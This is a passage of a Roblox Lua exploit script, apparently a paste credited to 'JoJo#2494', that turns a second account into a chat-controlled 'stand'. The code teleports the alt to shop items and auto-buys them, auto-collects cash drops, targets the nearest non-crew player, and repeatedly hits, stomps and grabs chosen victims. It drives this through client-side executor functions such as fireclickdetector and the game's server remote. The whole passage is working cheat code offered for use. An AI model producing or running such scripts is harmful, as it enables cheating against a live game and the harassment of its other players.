  703. function Equip(Tool)
  704. if STAND.Character:FindFirstChildWhichIsA("Tool") then
  705. STAND.Character.Humanoid:UnequipTools()
  706. end
  707. STAND.Character.Humanoid:EquipTool(STAND.Backpack[Tool])
  708. end
  709. --//------------------------------------------------------------------------------------------\\--
  710. function Unequip()
  711. STAND.Character.Humanoid:UnequipTools()
  712. end
  713. --//------------------------------------------------------------------------------------------\\--
  714. function GetNearest()
  715. local ClosestPlayer
  716. local Distance = math.huge
  717. local ClosestDistance = math.huge
  718. for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  719. if v.Character and OWNER.Character then
  720. if v ~= OWNER and v:FindFirstChild('DataFolder') and v:FindFirstChild('DataFolder'):FindFirstChild('Information') then
  721. if v:FindFirstChild('DataFolder'):FindFirstChild('Information'):FindFirstChild('Crew') then
  722. if v.Character:FindFirstChild('HumanoidRootPart') and v.Character:FindFirstChild("BodyEffects") and v.Character.BodyEffects:FindFirstChild("Dead") and v.Character.BodyEffects:FindFirstChild("Dead").Value == false then
  723. if v.DataFolder.Information.Crew.Value ~= OWNER.DataFolder.Information.Crew.Value or not v.DataFolder.Information:FindFirstChild('Crew') then
  724. local Distance = (v.Character.HumanoidRootPart.Position - OWNER.Character.HumanoidRootPart.Position).Magnitude
  725. if Distance < ClosestDistance then
  726. ClosestDistance = Distance
  727. ClosestPlayer = v
  728. end
  729. end
  730. end
  731. else
  732. if v.Character:FindFirstChild('HumanoidRootPart') and v.Character:FindFirstChild("BodyEffects") and v.Character.BodyEffects:FindFirstChild("Dead") and v.Character.BodyEffects:FindFirstChild("Dead").Value == false then
  733. local Distance = (v.Character.HumanoidRootPart.Position - OWNER.Character.HumanoidRootPart.Position).Magnitude
  734. if Distance < ClosestDistance then
  735. ClosestDistance = Distance
  736. ClosestPlayer = v
  737. end
  738. end
  739. end
  740. end
  741. end
  742. end
  743. return ClosestPlayer
  744. end
  745. --//------------------------------------------------------------------------------------------\\--
  746. Buy = {
  747. Knife = function()
  748. if STAND.Character:FindFirstChildWhichIsA("Tool") then
  749. STAND.Character:FindFirstChildWhichIsA("Tool").Parent = STAND.Backpack
  750. end
  751. local a = Stand.Action
  752. local b = Stand.Target
  753. local function c()
  754. Stand = {
  755. Action = a,
  756. Target = b
  757. }
  758. end
  759. Stand = {
  760. Action = "",
  761. Target = ""
  762. }
  763. repeat
  764. rs.Stepped:Wait()
  765. STAND.Character.HumanoidRootPart.CFrame = CFrame.new(game:GetService("Workspace").Ignored.Shop["[Knife] - $150"].Head.Position)
  766. fireclickdetector(game:GetService("Workspace").Ignored.Shop["[Knife] - $150"].ClickDetector)
  767. until STAND.Backpack:FindFirstChild("[Knife]")
  768. c()
  769. STAND.Backpack:FindFirstChild("[Knife]").Parent = STAND.Character
  770. end,
  771.  
  772. Bat = function()
  773. if STAND.Character:FindFirstChildWhichIsA("Tool") then
  774. STAND.Character:FindFirstChildWhichIsA("Tool").Parent = STAND.Backpack
  775. end
  776. local a = Stand.Action
  777. local b = Stand.Target
  778. local function c()
  779. Stand = {
  780. Action = a,
  781. Target = b
  782. }
  783. end
  784. Stand = {
  785. Action = "",
  786. Target = ""
  787. }
  788. repeat
  789. rs.Stepped:Wait()
  790. STAND.Character.HumanoidRootPart.CFrame = CFrame.new(game:GetService("Workspace").Ignored.Shop["[Bat] - $250"].Head.Position)
  791. fireclickdetector(game:GetService("Workspace").Ignored.Shop["[Bat] - $250"].ClickDetector)
  792. until STAND.Backpack:FindFirstChild("[Bat]")
  793. c()
  794. STAND.Backpack:FindFirstChild("[Bat]").Parent = STAND.Character
  795. end,
  796.  
  797. StopSign = function()
  798. if STAND.Character:FindFirstChildWhichIsA("Tool") then
  799. STAND.Character:FindFirstChildWhichIsA("Tool").Parent = STAND.Backpack
  800. end
  801. local a = Stand.Action
  802. local b = Stand.Target
  803. local function c()
  804. Stand = {
  805. Action = a,
  806. Target = b
  807. }
  808. end
  809. Stand = {
  810. Action = "",
  811. Target = ""
  812. }
  813. repeat
  814. rs.Stepped:Wait()
  815. STAND.Character.HumanoidRootPart.CFrame = CFrame.new(game:GetService("Workspace").Ignored.Shop["[StopSign] - $300"].Head.Position)
  816. fireclickdetector(game:GetService("Workspace").Ignored.Shop["[StopSign] - $300"].ClickDetector)
  817. until STAND.Backpack:FindFirstChild("[StopSign]")
  818. c()
  819. STAND.Backpack:FindFirstChild("[StopSign]").Parent = STAND.Character
  820. end,
  821.  
  822. Shovel = function()
  823. if STAND.Character:FindFirstChildWhichIsA("Tool") then
  824. STAND.Character:FindFirstChildWhichIsA("Tool").Parent = STAND.Backpack
  825. end
  826. local a = Stand.Action
  827. local b = Stand.Target
  828. local function c()
  829. Stand = {
  830. Action = a,
  831. Target = b
  832. }
  833. end
  834. Stand = {
  835. Action = "",
  836. Target = ""
  837. }
  838. repeat
  839. rs.Stepped:Wait()
  840. STAND.Character.HumanoidRootPart.CFrame = CFrame.new(game:GetService("Workspace").Ignored.Shop["[Shovel] - $320"].Head.Position)
  841. fireclickdetector(game:GetService("Workspace").Ignored.Shop["[Shovel] - $320"].ClickDetector)
  842. until STAND.Backpack:FindFirstChild("[Shovel]")
  843. c()
  844. STAND.Backpack:FindFirstChild("[Shovel]").Parent = STAND.Character
  845. end,
  846.  
  847. Pencil = function()
  848. if STAND.Character:FindFirstChildWhichIsA("Tool") then
  849. STAND.Character:FindFirstChildWhichIsA("Tool").Parent = STAND.Backpack
  850. end
  851. local a = Stand.Action
  852. local b = Stand.Target
  853. local function c()
  854. Stand = {
  855. Action = a,
  856. Target = b
  857. }
  858. end
  859. Stand = {
  860. Action = "",
  861. Target = ""
  862. }
  863. repeat
  864. rs.Stepped:Wait()
  865. STAND.Character.HumanoidRootPart.CFrame = CFrame.new(game:GetService("Workspace").Ignored.Shop["[Pencil] - $175"].Head.Position)
  866. fireclickdetector(game:GetService("Workspace").Ignored.Shop["[Pencil] - $175"].ClickDetector)
  867. until STAND.Backpack:FindFirstChild("[Pencil]")
  868. c()
  869. STAND.Backpack:FindFirstChild("[Pencil]").Parent = STAND.Character
  870. end,
  871.  
  872. Nunchucks = function()
  873. if STAND.Character:FindFirstChildWhichIsA("Tool") then
  874. STAND.Character:FindFirstChildWhichIsA("Tool").Parent = STAND.Backpack
  875. end
  876. local a = Stand.Action
  877. local b = Stand.Target
  878. local function c()
  879. Stand = {
  880. Action = a,
  881. Target = b
  882. }
  883. end
  884. Stand = {
  885. Action = "",
  886. Target = ""
  887. }
  888. repeat
  889. rs.Stepped:Wait()
  890. STAND.Character.HumanoidRootPart.CFrame = CFrame.new(game:GetService("Workspace").Ignored.Shop["[Nunchucks] - $450"].Head.Position)
  891. fireclickdetector(game:GetService("Workspace").Ignored.Shop["[Nunchucks] - $450"].ClickDetector)
  892. until STAND.Backpack:FindFirstChild("[Nunchucks]")
  893. c()
  894. STAND.Backpack:FindFirstChild("[Nunchucks]").Parent = STAND.Character
  895. end,
  896.  
  897. SledgeHammer = function()
  898. if STAND.Character:FindFirstChildWhichIsA("Tool") then
  899. STAND.Character:FindFirstChildWhichIsA("Tool").Parent = STAND.Backpack
  900. end
  901. local a = Stand.Action
  902. local b = Stand.Target
  903. local function c()
  904. Stand = {
  905. Action = a,
  906. Target = b
  907. }
  908. end
  909. Stand = {
  910. Action = "",
  911. Target = ""
  912. }
  913. repeat
  914. rs.Stepped:Wait()
  915. STAND.Character.HumanoidRootPart.CFrame = CFrame.new(game:GetService("Workspace").Ignored.Shop["[SledgeHammer] - $350"].Head.Position)
  916. fireclickdetector(game:GetService("Workspace").Ignored.Shop["[SledgeHammer] - $350"].ClickDetector)
  917. until STAND.Backpack:FindFirstChild("[SledgeHammer]")
  918. c()
  919. STAND.Backpack:FindFirstChild("[SledgeHammer]").Parent = STAND.Character
  920. end,
  921.  
  922. Grenade = function()
  923. if STAND.Character:FindFirstChildWhichIsA("Tool") then
  924. STAND.Character:FindFirstChildWhichIsA("Tool").Parent = STAND.Backpack
  925. end
  926. local a = Stand.Action
  927. local b = Stand.Target
  928. local function c()
  929. Stand = {
  930. Action = a,
  931. Target = b
  932. }
  933. end
  934. Stand = {
  935. Action = "",
  936. Target = ""
  937. }
  938. repeat
  939. rs.Stepped:Wait()
  940. STAND.Character.HumanoidRootPart.CFrame = CFrame.new(game:GetService("Workspace").Ignored.Shop["[Grenade] - $1250"].Head.Position)
  941. fireclickdetector(game:GetService("Workspace").Ignored.Shop["[Grenade] - $1250"].ClickDetector)
  942. until STAND.Backpack:FindFirstChild("[Grenade]")
  943. c()
  944. STAND.Backpack:FindFirstChild("[Grenade]").Parent = STAND.Character
  945. end,
  946.  
  947. Flashbang = function()
  948. if STAND.Character:FindFirstChildWhichIsA("Tool") then
  949. STAND.Character:FindFirstChildWhichIsA("Tool").Parent = STAND.Backpack
  950. end
  951. local a = Stand.Action
  952. local b = Stand.Target
  953. local function c()
  954. Stand = {
  955. Action = a,
  956. Target = b
  957. }
  958. end
  959. Stand = {
  960. Action = "",
  961. Target = ""
  962. }
  963. repeat
  964. rs.Stepped:Wait()
  965. STAND.Character.HumanoidRootPart.CFrame = CFrame.new(game:GetService("Workspace").Ignored.Shop["[Flashbang] - $550"].Head.Position)
  966. fireclickdetector(game:GetService("Workspace").Ignored.Shop["[Flashbang] - $550"].ClickDetector)
  967. until STAND.Backpack:FindFirstChild("[Flashbang]")
  968. c()
  969. STAND.Backpack:FindFirstChild("[Flashbang]").Parent = STAND.Character
  970. end,
  971.  
  972. Boxing = function()
  973. if STAND.Character:FindFirstChildWhichIsA("Tool") then
  974. STAND.Character:FindFirstChildWhichIsA("Tool").Parent = STAND.Backpack
  975. end
  976. local a = Stand.Action
  977. local b = Stand.Target
  978. local function c()
  979. Stand = {
  980. Action = a,
  981. Target = b
  982. }
  983. end
  984. Stand = {
  985. Action = "",
  986. Target = ""
  987. }
  988. coroutine.wrap(function()
  989. x = false
  990. wait(1.5)
  991. x = true
  992. end)()
  993. repeat
  994. rs.Stepped:Wait()
  995. STAND.Character.HumanoidRootPart.CFrame = CFrame.new(game:GetService("Workspace").Ignored.Shop["Boxing Moveset (Require: Max Box Stat) - $0"].Head.Position)
  996. fireclickdetector(game:GetService("Workspace").Ignored.Shop["Boxing Moveset (Require: Max Box Stat) - $0"].ClickDetector)
  997. until x == true
  998. c()
  999. x = false
  1000. STAND.Backpack:FindFirstChild("Combat").Parent = STAND.Character
  1001. end,
  1002.  
  1003. Default = function()
  1004. if STAND.Character:FindFirstChildWhichIsA("Tool") then
  1005. STAND.Character:FindFirstChildWhichIsA("Tool").Parent = STAND.Backpack
  1006. end
  1007. local a = Stand.Action
  1008. local b = Stand.Target
  1009. local function c()
  1010. Stand = {
  1011. Action = a,
  1012. Target = b
  1013. }
  1014. end
  1015. Stand = {
  1016. Action = "",
  1017. Target = ""
  1018. }
  1019. coroutine.wrap(function()
  1020. x = false
  1021. wait(1.5)
  1022. x = true
  1023. end)()
  1024. repeat
  1025. rs.Stepped:Wait()
  1026. STAND.Character.HumanoidRootPart.CFrame = CFrame.new(game:GetService("Workspace").Ignored.Shop["[Default Moveset] - $0"].Head.Position)
  1027. fireclickdetector(game:GetService("Workspace").Ignored.Shop["[Default Moveset] - $0"].ClickDetector)
  1028. until x == true
  1029. c()
  1030. x = false
  1031. STAND.Backpack:FindFirstChild("Combat").Parent = STAND.Character
  1032. end,
  1033. }
  1034. --//------------------------------------------------------------------------------------------\\--
  1035. coroutine.wrap(function()
  1036. while Settings['Made By JoJo#2494'].AUTOPICKUPCASH == true do
  1037. wait()
  1038. for _,v in pairs(game:GetService('Workspace'):FindFirstChild('Ignored'):FindFirstChild('Drop'):GetChildren()) do
  1039. if v:IsA('Part') then
  1040. if (v.Position - STAND.Character:FindFirstChild('HumanoidRootPart').Position).Magnitude <= 12 then
  1041. wait(0.01);
  1042. fireclickdetector(v:FindFirstChildOfClass('ClickDetector'));
  1043. end;
  1044. end;
  1045. end;
  1046. end;
  1047. end)()
  1048. end
  1049. end
  1050. --//--------------------------------------------------------------------------------------------\\--
  1051.  
  1052. --/---------------------------------------------------------------------------------------------\--/ Variables go below this :
  1053. Side = false
  1054. Mode = false
  1055. --/---------------------------------------------------------------------------------------------\--/ CreateAction goes below this :
  1056. CreateAction("Summoned", function()
  1057. if Side == false then
  1058. MoveTo(1,1.85,2.5)
  1059. else
  1060. MoveTo(-1,1.85,2.5)
  1061. end
  1062. end)
  1063.  
  1064. CreateAction("Barrage", function()
  1065. if STAND.Character.HumanoidRootPart then
  1066. if OWNER.Character.HumanoidRootPart then
  1067. MoveTo(0,0.85,-4.85)
  1068. if STAND.Character:FindFirstChild("Combat") then
  1069. wait(0.1)
  1070. if Mode == false then
  1071. Hit(false)
  1072. else
  1073. Hit(true)
  1074. end
  1075. else
  1076. Equip("Combat")
  1077. wait(0.1)
  1078. if Mode == false then
  1079. Hit(false)
  1080. else
  1081. Hit(true)
  1082. end
  1083. end
  1084. end
  1085. end
  1086. end)
  1087.  
  1088. CreateAction("Aura", function()
  1089. wait()
  1090. if OWNER.Character.Humanoid.FloorMaterial == Enum.Material.Air then
  1091. MoveTo(0,-20,0)
  1092. wait(0.1)
  1093. if Mode == false then
  1094. Hit(false)
  1095. else
  1096. Hit(true)
  1097. end
  1098. elseif OWNER.Character.Humanoid.FloorMaterial ~= Enum.Material.Air then
  1099. MoveTo(0 + math.random(-8.5,8.5),-10,0 + math.random(-8.5,8.5))
  1100. wait(0.1)
  1101. if Mode == false then
  1102. Hit(false)
  1103. else
  1104. Hit(true)
  1105. end
  1106. else
  1107. MoveTo(0,-25,0)
  1108. end
  1109. end)
  1110.  
  1111. CreateAction("Save", function()
  1112. Stand.Action = ""
  1113. repeat wait()
  1114. if OWNER.Character.BodyEffects["K.O"].Value == false then
  1115. STAND.Character.HumanoidRootPart.CFrame = OWNER.Character.UpperTorso.CFrame
  1116. elseif OWNER.Character.BodyEffects["K.O"].Value == true then
  1117. wait(0.5)
  1118. STAND.Character.HumanoidRootPart.CFrame = CFrame.new(OWNER.Character.UpperTorso.Position.X , OWNER.Character.UpperTorso.Position.Y +0.5, OWNER.Character.UpperTorso.Position.Z )
  1119. wait(0.5)
  1120. if STAND.Character.BodyEffects["Grabbed"].Value == nil then
  1121. wait(0.9)
  1122. game:GetService("ReplicatedStorage").MainEvent:FireServer("Grabbing", true)
  1123. end
  1124. end
  1125. until Stand.Action == "Summoned" or Target == nil or not Target.Character.BodyEffects:FindFirstChild("K.O") or not Target.Character.BodyEffects:FindFirstChild("Defense") or STAND.Character.BodyEffects["Grabbed"].Value ~= nil
  1126. STAND.Character.HumanoidRootPart.CFrame = CFrame.new(-205.789703, 160.413025, 1.48631835)
  1127. wait(1)
  1128. game:GetService("ReplicatedStorage").MainEvent:FireServer("Grabbing", false)
  1129. wait(2)
  1130. Stand.Action = "Summoned"
  1131. end)
  1132.  
  1133. CreateAction("Mimic!", function()
  1134. if OWNER.Character.BodyEffects.Attacking.Value == true then
  1135. game:GetService("RunService").Stepped:Wait()
  1136. AnimStop(2788354405,1)
  1137. MoveTo(0,1,-6)
  1138. wait(0.1)
  1139. if Mode == false then
  1140. Hit(false)
  1141. else
  1142. Hit(true)
  1143. end
  1144. wait()
  1145. elseif OWNER.Character.BodyEffects:FindFirstChild("Block") then
  1146. game:GetService("RunService").Stepped:Wait()
  1147. MoveTo(0,1.15,-5)
  1148. AnimPlay(2788354405,1)
  1149. else
  1150. AnimStop(2788354405)
  1151. if Side == false then
  1152. MoveTo(1,1.85,2.5)
  1153. else
  1154. MoveTo(-1,1.85,2.5)
  1155. end
  1156. end
  1157. end)
  1158. --/---------------------------------------------------------------------------------------------\--/ Create & CreateTargetAbility & CreateLoop goes below this :
  1159. Create("Mimic!", function()
  1160. Stand.Action = "Mimic!"
  1161. end)
  1162.  
  1163. Create("Save!", function ()
  1164. Stand.Action = "Save"
  1165. end)
  1166.  
  1167. Create("Leave!", function()
  1168. game:Shutdown()
  1169. end)
  1170.  
  1171. Create("Barrage!", function()
  1172. Stand.Action = "Barrage"
  1173. end)
  1174.  
  1175. Create("Ora!", function()
  1176. Stand.Action = "Barrage"
  1177. end)
  1178.  
  1179. Create('Aura!', function()
  1180. Stand.Action = "Aura"
  1181. end)
  1182.  
  1183. Create("Drop!", function()
  1184. game:GetService("ReplicatedStorage").MainEvent:FireServer("Grabbing", false)
  1185. end)
  1186.  
  1187. CreateTargetAbility("who", function()
  1188. local Target = Stand.Target
  1189. print(Target.Name)
  1190. end)
  1191.  
  1192. Create("Summon!", function()
  1193. pcall(function()
  1194. game:GetService("RunService"):UnbindFromRenderStep("TARGETKILL")
  1195. game:GetService("RunService"):UnbindFromRenderStep("GRAB")
  1196. Stop()
  1197. end)
  1198. MoveTo(0,-0.7,1.45)
  1199. wait(0.05)
  1200. MoveTo(0,-0.7,1.45)
  1201. wait(0.05)
  1202. Stand.Action = "Summoned"
  1203. end)
  1204.  
  1205. Create("Vanish!", function()
  1206. pcall(function()
  1207. Stop()
  1208. end)
  1209. Stand.Action = ""
  1210. MoveTo(0,-0.7,1.45)
  1211. wait(0.08)
  1212. MoveTo(0,-100,0)
  1213. end)
  1214.  
  1215. Create("Rejoin!", function()
  1216. game:GetService('TeleportService'):TeleportToPlaceInstance(game.PlaceId, game.JobId, STAND)
  1217. end)
  1218.  
  1219. Create("Left!", function()
  1220. Side = false
  1221. end)
  1222.  
  1223. Create("Right!", function()
  1224. Side = true
  1225. end)
  1226.  
  1227. Create("Light!", function()
  1228. Mode = false
  1229. end)
  1230.  
  1231. Create("Heavy!", function()
  1232. Mode = true
  1233. end)
  1234.  
  1235. Create("Crew!", function()
  1236. local CurrentCrew = STAND:WaitForChild('DataFolder').Information.Crew
  1237. local CurrentOwnerCrew = OWNER:WaitForChild('DataFolder').Information.Crew
  1238. if CurrentCrew.Value == CurrentOwnerCrew.Value then
  1239. Crew(false)
  1240. else
  1241. Crew(true,tonumber(CurrentOwnerCrew.Value))
  1242. end
  1243. end)
  1244.  
  1245. Create("Reset!", function()
  1246. for i,v in pairs(STAND.Character:GetChildren()) do
  1247. if v:IsA("BasePart") then v:Destroy() end end
  1248. game:GetService("RunService"):UnbindFromRenderStep("TARGETKILL")
  1249. game:GetService("RunService"):UnbindFromRenderStep("GRAB")
  1250. Stand.Action = ""
  1251. end)
  1252.  
  1253. CreateTargetAbility("Kill!", function()
  1254. local Target = Stand.Target
  1255. if Target then
  1256. Stand.Action = ""
  1257. game:GetService("RunService"):BindToRenderStep("TARGETKILL", -1 , function()
  1258. if Target and Target.Character and Target.Character:FindFirstChild("BodyEffects") and Target.Character.BodyEffects:FindFirstChild("K.O") then
  1259. if Target.Character.BodyEffects["K.O"].Value == true then
  1260. STAND.Character.HumanoidRootPart.CFrame = CFrame.new(Target.Character.UpperTorso.Position.X , Target.Character.UpperTorso.Position.Y + 1, Target.Character.UpperTorso.Position.Z )
  1261. game:GetService("ReplicatedStorage").MainEvent:FireServer("Stomp")
  1262. else
  1263. MoveTo(0,-10,0)
  1264. if STAND.Character:FindFirstChildWhichIsA("Tool") then
  1265. if Mode == false then
  1266. Hit(false)
  1267. else
  1268. Hit(true)
  1269. end
  1270. wait(0.1)
  1271. else
  1272. Equip("Combat")
  1273. if Mode == false then
  1274. Hit(false)
  1275. else
  1276. Hit(true)
  1277. end
  1278. wait(0.1)
  1279. end
  1280. end
  1281. end
  1282. end)
  1283. end
  1284. end)
  1285.  
  1286. CreateTargetAbility("Bring!", function()
  1287. local Target = Stand.Target
  1288. if Target then
  1289. Stand.Action = ""
  1290. game:GetService("RunService"):BindToRenderStep("GRAB", -1 , function()
  1291. if Target and Target.Character and Target.Character:FindFirstChild("BodyEffects") and Target.Character.BodyEffects:FindFirstChild("K.O") then
  1292. if Target.Character.BodyEffects["K.O"].Value == true then
  1293. STAND.Character.HumanoidRootPart.CFrame = CFrame.new(Target.Character.UpperTorso.Position.X , Target.Character.UpperTorso.Position.Y + 1, Target.Character.UpperTorso.Position.Z )
  1294. if STAND.Character.BodyEffects["Grabbed"].Value == nil then
  1295. game:GetService("VirtualInputManager"):SendKeyEvent(true,"G",false,game)
  1296. end
  1297. end
  1298. if Target.Character.BodyEffects["K.O"].Value == false then
  1299. MoveTo(0,-6,0)
  1300. if STAND.Character:FindFirstChildWhichIsA("Tool") then
  1301. if Mode == false then
  1302. Hit(false)
  1303. else
  1304. Hit(true)
  1305. end
  1306. wait(0.1)
  1307. else
  1308. Equip("Combat")
  1309. if Mode == false then
  1310. Hit(false)
  1311. else
  1312. Hit(true)
  1313. end
  1314. wait(0.1)
  1315. end
  1316. end
  1317. if Target == nil or STAND.Character.BodyEffects["Grabbed"].Value ~= nil then
  1318. game:GetService("RunService"):UnbindFromRenderStep("GRAB")
  1319. Stand.Action = "Summoned"
  1320. wait(0.5)
  1321. game:GetService("VirtualInputManager"):SendKeyEvent(true,"G",false,game)
  1322. end
  1323. end
  1324. end)
  1325. end
  1326. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement